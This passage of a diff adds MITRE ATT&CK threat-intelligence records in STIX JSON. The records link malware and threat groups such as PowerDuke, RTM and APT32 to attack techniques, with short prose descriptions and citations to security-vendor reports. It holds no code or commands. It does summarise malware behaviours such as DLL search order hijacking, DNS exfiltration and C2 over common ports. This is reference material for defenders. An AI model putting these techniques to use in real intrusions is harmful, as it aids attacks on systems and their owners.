+ { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "modified": "2019-06-06T19:04:39.504Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remsec](https://attack.mitre.org/software/S0125) can add or remove applications or ports on the Windows firewall or disable it entirely.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8baf3f0d-0ab4-4691-8ef7-8b9af8a8069c", + "external_references": [ + { + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSOURCE](https://attack.mitre.org/software/S0145) queries Registry keys in preparation for setting Run keys to achieve persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9c79076c-341f-4eb3-bed7-300723747b18", + "external_references": [ + { + "source_name": "Cisco DNSMessenger March 2017", + "description": "Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.", + "url": "http://blog.talosintelligence.com/2017/03/dnsmessenger.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Misdat](https://attack.mitre.org/software/S0083) network traffic communicates over common ports like 80, 443, or 1433.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--81b183bc-de6a-457c-a3f3-a1168e8456f1", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GeminiDuke](https://attack.mitre.org/software/S0049) collects information on programs and services on the victim that are configured to automatically run at startup.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ae9befd5-d8b7-4492-9b47-422a40d610cc", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6", + "relationship_type": "uses", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Misdat](https://attack.mitre.org/software/S0083) saves itself as a file named msdtc.exe, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--01ab8fee-5204-40c1-ac7a-b11a5683a87d", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + }, + { + "source_name": "Microsoft DTC", + "description": "Microsoft. (2011, January 12). Distributed Transaction Coordinator. Retrieved February 25, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc759136(v=ws.10).aspx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FruitFly](https://attack.mitre.org/software/S0277) executes and stores obfuscated Perl scripts.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a7590c10-ba0a-453d-b086-1b3427e20462", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4a98e44a-bd52-461e-af1e-a4457de87a36", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) runs cmd.exe /c and sends the output to its C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e465e173-04d8-4a2b-8953-a2fa3b44aec0", + "external_references": [ + { + "source_name": "Volexity PowerDuke November 2016", + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "modified": "2019-04-22T22:31:38.467Z", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can be launched by using DLL search order hijacking in which the wrapper DLL is placed in the same folder as explorer.exe and loaded during startup into the Windows Explorer process instead of the legitimate library.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--dc0cf30b-ec44-4b5a-8c45-f93e48974a05", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "relationship_type": "uses", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RTM](https://attack.mitre.org/software/S0148) can delete all Registry entries created during its execution.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--94b4de9a-1f83-4923-8d4b-e9bafdb1bef9", + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uses HTTP/HTTPS for command and control communication.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--56b6c694-6d04-4799-9a34-b4c66f25b30e", + "external_references": [ + { + "source_name": "Lazarus RATANKBA", + "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/" + }, + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "modified": "2019-05-03T16:54:33.263Z", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some [Volgmer](https://attack.mitre.org/software/S0180) variants use port 8088 for C2.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--11de35bf-195d-4097-a27a-d2e2b7c433b3", + "external_references": [ + { + "source_name": "US-CERT Volgmer Nov 2017", + "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B" + }, + { + "source_name": "US-CERT Volgmer 2 Nov 2017", + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + }, + { + "source_name": "Symantec Volgmer Aug 2014", + "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "relationship_type": "uses", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:10:48.404Z", + "type": "relationship", + "id": "relationship--b35a5218-e64d-49b5-a37d-6390edddece6", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.026Z", + "source_ref": "course-of-action--388606d3-f38f-45bf-885d-a9dc9df3c8a8", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[StreamEx](https://attack.mitre.org/software/S0142) obfuscates some commands by using statically programmed fragments of strings when starting a DLL. It also uses a one-byte xor against 0x91 to encode configuration data.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ee51d531-5cc4-4836-a55c-6062bde1a4d4", + "external_references": [ + { + "source_name": "Cylance Shell Crew Feb 2017", + "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.", + "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SeaDuke](https://attack.mitre.org/software/S0053) uses a module to execute Mimikatz with PowerShell to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1097).", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--837af41c-0553-4d1d-a38e-e43e2aad5c35", + "external_references": [ + { + "source_name": "Symantec Seaduke 2015", + "description": "Symantec Security Response. (2015, July 13). \u201cForkmeiamfamous\u201d: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.", + "url": "http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T14:25:29.680Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9ffda909-3503-47d8-9403-849a66eb9245", + "external_references": [ + { + "source_name": "Check Point Rocket Kitten", + "description": "Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018.", + "url": "https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf" + } + ], + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "relationship_type": "uses", + "target_ref": "tool--fbd727ea-c0dc-42a9-8448-9e12962d1ab5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-28T15:24:32.594Z", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f9600732-9116-4325-8073-28d81721b37a", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dipsind](https://attack.mitre.org/software/S0200) can spawn remote shells.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6ac167a2-e2b4-4b66-96a1-521468d5784c", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has a command to write random data across a file and delete it.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--789cf81d-bfc9-4c1a-a34a-57e41981894a", + "external_references": [ + { + "source_name": "Volexity PowerDuke November 2016", + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "modified": "2019-04-22T22:31:38.479Z", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Orz](https://attack.mitre.org/software/S0229) can gather the victim OS version and whether it is 64 or 32 bit.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--23d16034-a2eb-40ef-857b-63708e63bf9a", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RTM](https://attack.mitre.org/software/S0148) can obtain the victim username and permissions.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--aad1cfa0-0df0-4768-87c2-5e59da2c5e44", + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) checks the running processes for evidence it may be running in a sandbox environment. It specifically enumerates processes for Wireshark and Sysinternals.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c29136ea-6925-4fc5-a281-b5351cef050d", + "external_references": [ + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + } + ], + "modified": "2019-04-24T23:55:43.451Z", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) uses [Cobalt Strike](https://attack.mitre.org/software/S0154)'s malleable C2 functionality to blend in with network traffic. The group's backdoor can also exfiltrate data by encoding it in the subdomain field of DNS packets. Additionally, one of the group's macOS backdoors implements a specific format for the C2 packet involving random values.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4477e350-645d-40de-8de7-7a6e1680c2e0", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + }, + { + "source_name": "GitHub Malleable C2", + "description": "Mudge, R. (2014, July 14). Github Malleable-C2-Profiles safebrowsing.profile. Retrieved June 18, 2017.", + "url": "https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/safebrowsing.profile" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + }, + { + "source_name": "ESET OceanLotus macOS April 2019", + "description": "Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019.", + "url": "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/" + } + ], + "modified": "2019-07-17T13:11:38.440Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ZeroT](https://attack.mitre.org/software/S0230) has encrypted its payload with RC4.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fee82671-3bba-48c7-bef8-63b2b2bb0fa7", + "external_references": [ + { + "source_name": "Proofpoint ZeroT Feb 2017", + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T16:51:54.150Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.047Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3f780c76-b5d5-43f9-b4f2-048106f00894", + "external_references": [ + { + "source_name": "Bizeul 2014", + "description": "Bizeul, D., Fontarensky, I., Mouchoux, R., Perigaud, F., Pernet, C. (2014, July 11). Eye of the Tiger. Retrieved September 29, 2015.", + "url": "http://blog.cassidiancybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2" + }, + { + "source_name": "Villeneuve 2014", + "description": "Villeneuve, N., Homan, J. (2014, July 31). Spy of the Tiger. Retrieved September 29, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html" + } + ], + "source_ref": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647", + "relationship_type": "uses", + "target_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) copies and exfiltrates the clipboard contents every 30 seconds.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--66625422-17cd-4b04-beb5-fa2eabe350ad", + "external_references": [ + { + "source_name": "F-Secure Cosmicduke", + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", + "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "relationship_type": "uses", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) copies itself over network shares to move laterally on a victim network.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9663d78b-0a81-42af-93b0-8e62cc3af2d7", + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "relationship_type": "uses", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RTM](https://attack.mitre.org/software/S0148) uses HTTP POST requests with data formatted using a custom protocol.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--865a5b25-6908-4ad9-a81d-33f3cf48e357", + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) can hook GetClipboardData function to watch for clipboard pastes to collect.", + "type": "relationship", + "created": "2019-01-29T17:59:44.527Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ce378e64-5802-4751-8b8e-d7bf68ce4c6a", + "external_references": [ + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "modified": "2019-04-16T20:55:20.185Z", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "relationship_type": "uses", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can capture screenshots of the victim\u2019s desktop.", + 